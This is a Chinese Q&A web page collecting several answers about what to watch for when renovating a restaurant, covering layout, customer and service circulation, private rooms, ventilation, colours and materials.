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齐丹丹

请教行家来解答,餐饮店铺装修要注意哪些问题?

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a为什么都爱我 有用 1

餐饮店面设计要求主要有一下几点:
1、定位准确:不同的定位决定了不同的设计风格。
2、重视流线设计:如果条件允许,散席与包间最好分设入口,设计中要尽可能考虑这一因素。同时,服务流线避免与客人通道交叉。
3、确定恰当的规模和比例:掌握消费者心理很重要,许多到高级餐厅消费的客人都希望有一个良好的就餐氛围,不喜欢有许多人聚在一起,使就餐的气氛受到干扰。
4、可考虑少设或不设酒水服务台:因为大部分客人都不会到酒水服务台点酒或结账,很大的服务台只会占用有限的空间,因此在比较隐蔽的位置设置一个很小的结账台即可。
5、尽可能减少散席及包间区域地面高低的变化:因为不但会降低空间的利用率,还会导致客有摔跤事故的发生,选用不同的材质也可区分不同的空间。
6、注重保护客人的隐私:目前的方式是通过各种形式的玻璃、镂花屏风将空间进行组合。这样不仅可能增加装饰面,而且又能很好地划分区域,给客从留有相对私秘的空间。
7、包间设计应避免的问题
1、包间的门不要相对,尽
3、桌子不要正对包间门,否则,其他客人从过道一眼就可将包间内的情况看得一清二楚。
8、重视通风及排烟,散席与包间都需要有良好的通风及排烟设施。在设计酒店的设备时要特别注意这一问题。厨房负压不够是常见的问题之一。另一通风的问题是出风口正对客人或餐桌,影响客人的舒适及菜肴的质量。

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指南针装饰 有用 1

首先是门面:要围绕主要菜系的主题来做。其次内部环境要营造一个舒适的就餐环境,每个细节都让就餐者感到有食欲,这样顾客下次还想再来。

泡泡cheung 有用 1

餐饮店面装修关乎整个快餐店的形象,恰当的装修,可以让顾客在众多的店铺当中第一时间关注到自家,然后走进店铺最终消费。
1:餐饮店面装修的最大原则。最重要的一点是要实用,其次是要有个性、有品位。要做到这一点,装修时就要注意以下问题。
餐桌色彩的搭配要和谐,灯光照明最好以暖色调为主。背景音乐以轻柔舒缓为主调,买餐、就餐路线要合理规划。
店堂内的桌持最好用西式快餐店的卡式桌持,这样既有现代感,又能最大限度地利用店内的有限空间。厨房的厨具及设施则尽量采用不诱钢材料,给顾客一种清洁卫生的印象,厨房可向客席开敞,增加就餐的气氛。
在装修厨房和布置餐厅的过程中,要注意从“小处着眼”。所有用品的色调尽量采用同一色系,这种做法一来可以避免颜色杂,层次多,显得凌乱,又可以排除单一颜色造成的单调和压抑,同一色系则可以突出整体的同时,又烘托局部。店内装修做好后,店面的广告招牌也同等重要。
2:餐饮店内部的主色调
在设计餐馆内主色调时,尽量选择红、黄两种色系。之所以这样,是有讲究的。这两种色系可以促进食欲,增加食客的点餐量红、黄色都是典型的暖色调。如果餐馆装修的主色系选择红、黄两种,无疑会促进进餐者的食欲,让他们吃得津津有味。
3.注重流线设计
服务通道与客人通道的分开十分重要,特别是包间区域。过多的交叉不仅会降低服务的品质,而且还会给清洁与卫生带来很大的不便,不利于如地毯等硬件设施的保养,高水平的设计会将两通道明显的分开。通道的设计,应满足顺畅、安全、便利的需要,不应过分追求餐座数量的最大化。具体来说,要考虑到员工操作的便利性和安全性以及客人活动空间的舒适性和伸展性。

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在现代社会,随着人们生活水平的提高,生活节奏也不断加快,人们对于餐饮业也有了新的需求。人们希望餐饮服务业不光能提供合口美味的菜肴,更能够提供人们休憩和放松场所。那么在餐饮店装修的时候就要全面的考虑到以上人们的需求。既要简约大方又能让人感觉舒服。简约餐饮装修应该注意哪些问题呢?下面就给大家介绍一下。希望大家看后能对大家有所帮助。简约餐饮装修注意事项1餐饮店装修时应体现自己的鲜明个性和特色,特别是品牌餐饮应尊重所在地的文化传统。提高自己的文化品位和艺术水准,避免繁琐和复制,而应该展现原创、简约之美。应该合理规划餐饮店的空间布局,厨房、餐厅、包厢和厕所要合理安置,一定要以人为本,避免迷宫似的复杂设计。简约餐饮装修注意事项2餐饮店装修时,其界面处理要体现实用和清洁的原则,地面、侧面和顶棚等界面的材料一定要合适,地面一般要选择表面光洁且容易清洁的材料,比如大理石、地砖。墙面在齐腰位置要用些耐磨损的材料,如选木饰、墙砖等做护墙处理和装饰。顶棚应用素雅材料装饰,如乳胶漆。用灯具作烘托,有时可适当降低顶棚,可给人以亲切感。简约餐饮装修注意事项3餐饮店装修时的餐桌和餐具选择应该根据餐饮店的总体风格和空间布局来选择。一般餐饮店的餐桌布置应以暖色为主,不仅能增进食欲还能给人以贴心温暖的感觉。而餐桌的大小和形状应随营业内容和顾客人数而定,如快餐店应主要配置一人一个的小餐桌,而大饭店则以圆桌为主,辅以划一的长形桌或方形桌,以满足不同需要。简约餐饮装修注意事项4现代人对健康环保的要求越来越高,餐饮店装修整体改造也应该重视绿色环保,还应该完善配套的隐蔽工程,对效率低、耗能高、不利于环境保护的设备应进行全面更新改造,周边环境也要绿化、美化,这样才能让顾客吃的安心、放心、开心。以上就是我给大家介绍关于简约餐饮装修需要注意的问题。只有对这些方面有全面的了解,才能在装修的时候多方面考虑。简约餐饮装修要体现个性和特色,但不能繁琐和复制,既要实用也要给人以亲切感,颜色的选择也要以暖色为主,最后在材料的选择上要选择绿色环保的材料。只要做好了这些方面。简约餐饮装修才能达到优质的效果。

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今天的餐饮业发展很快,餐厅计划随着各种餐厅计划自然而然地迅速发生变化。在规划餐饮店铺装修设计时,要考虑客户和员工的活动的便利性与合理性,并考虑到餐厅和客户群体的特点,并利用空间做出最美丽的餐厅。下面分成这几个板块介绍一下:空间分布、款式设计。一、空间分配餐饮店铺装修设计的分配比较简单。主要是前厅,后厨房,卫生间。前台占据最大比例的空间,最重要的是要注意空间设计。1.前厅餐饮店铺装修设计的风格实际上是由餐具决定的。餐具的选择应该小心,因为不同类型的餐具会给整体的风格带来不同的感觉。简约而现代的风格能给人一种舒适的氛围。应该选择玻璃餐桌或深色餐桌,再一点添加现代元素。根据餐厅的功能,有必要确定墙壁和地板的材料。例如,狭窄空间的房屋应装饰镜面材料,以增强视觉效果,地板应采用易于清洁的硬质材料制成。餐厅区应有装饰品,如鲜花,水果或纪念风景照片。2.厨房厨房设计中最重要的是改善厨房用具。厨房通常是白色的主色调,会显得比较整洁整齐。厨房用具应具有高质量,安全和卫生的基础,以便顾客可以在餐厅用餐时提高客户好感度。3.厕所厕所设置应合理,方便顾客使用,颜色要规则,安静舒适,光线要柔和。厕所应与餐厅在同一楼层,以免造成不便。但是不能太靠近厨房。二、款式设计1)外观装饰外观的装饰非常重要。店铺装修和环境,在不同的城市会有不同位置的规划和设备规格。2)颜色处理餐饮店铺装修设计必须充分利用色彩的对比和和谐,以达到增强外观的艺术特征和丰富外观效果,并创造更多的视觉吸引力。在正常条件下,餐饮店铺的色调适合于明亮,温暖的颜色,并且可以根据商业建筑物的物理特性,将优质组件或主要组件与其特性相匹配。选择正确的主色,可以选择生动明亮的色彩,用来营造一种愉悦的氛围。这里讲述的餐饮店铺装修设计就到此为止,有需要的人们可以参照以上内容。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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